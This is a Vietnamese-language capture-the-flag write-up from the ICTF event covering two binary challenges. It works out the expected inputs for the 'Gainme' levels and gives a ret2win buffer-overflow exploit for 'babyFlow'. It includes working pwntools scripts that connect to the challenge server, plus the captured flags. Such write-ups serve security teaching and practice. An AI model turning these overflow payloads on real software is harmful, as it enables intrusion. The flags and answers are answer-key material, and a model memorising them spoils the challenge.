Try   HackMD

(writeup) ICTF

Gainme

  • basic file check

  • kiểm tra ida

  • những hàm gần main

print_flag
lvlone
lvltwo
lvlthree
lvlfour
main

  • chương trình sẽ kiểm tra lần lượt input của mình mỗi lần nhập, nếu đúng sẽ đi tiếp lvl kế, sai thì ngắt chương trình

lvlone

  • so sánh chuỗi nhập vào với "ICTF4"

lvltwo

  • cũng là 1 dạng so sánh chuỗi nhập vào với dữ liệu trên file
  • dữ liệu đó k hiện thị trên ida64 nên sẽ tìm kiếm trong gdb thông qua hàm cmp(compare)

  • và ta nhận được là:


dasDASQWgjtrkodsc

lvlthree

  • đây là nhập vào số âm -559038737 để ret về result

lvlfour

  • đây kiểm tra biến v2 nếu True(=1) thì lấy flag
  • nhìn qua thì đây là pt bậc 3 1 ẩn, ẩn là v2, giải ra thì được đáp số là '1'

print_flag

  • hàm này sẽ đọc dữ liệu từ file flag.txt
  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./Gainme', checksec=False)

#p = process(exe.path)
p = remote('143.198.219.171', 5003)

p.sendlineafter(b'0: ', b'ICTF4')
p.sendlineafter(b'1: ', b'dasDASQWgjtrkodsc')
p.sendlineafter(b'2: ', p32(-559038737,sign=True))
p.sendlineafter(b'3: ', b'1')


p.interactive()

ictf{g@inm3-sf23f-4fd2150cd33db}


babyFlow

  • kiểm tra tổng quát

  • kiểm tra ida

  • những hàm gần main

get_shell
vulnerable_function
main

  • ở đây có thể thấy 1 lỗi BOF đến từ vị trí gets(), hướng đi là phương pháp ret2win


  • vì là ret2win nên ta cần overwrite được $eip
  • offset:

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./babyFlow',checksec=False)

#p = process(exe.path)
p = remote('143.198.219.171',5000)

payload = b'A'*24
payload += p32(exe.sym['get_shell'])

p.sendlineafter(b'me?\n', payload)

p.interactive()

ictf{bf930bcd-6c10-4c05-bdd8-435db4b50cdb}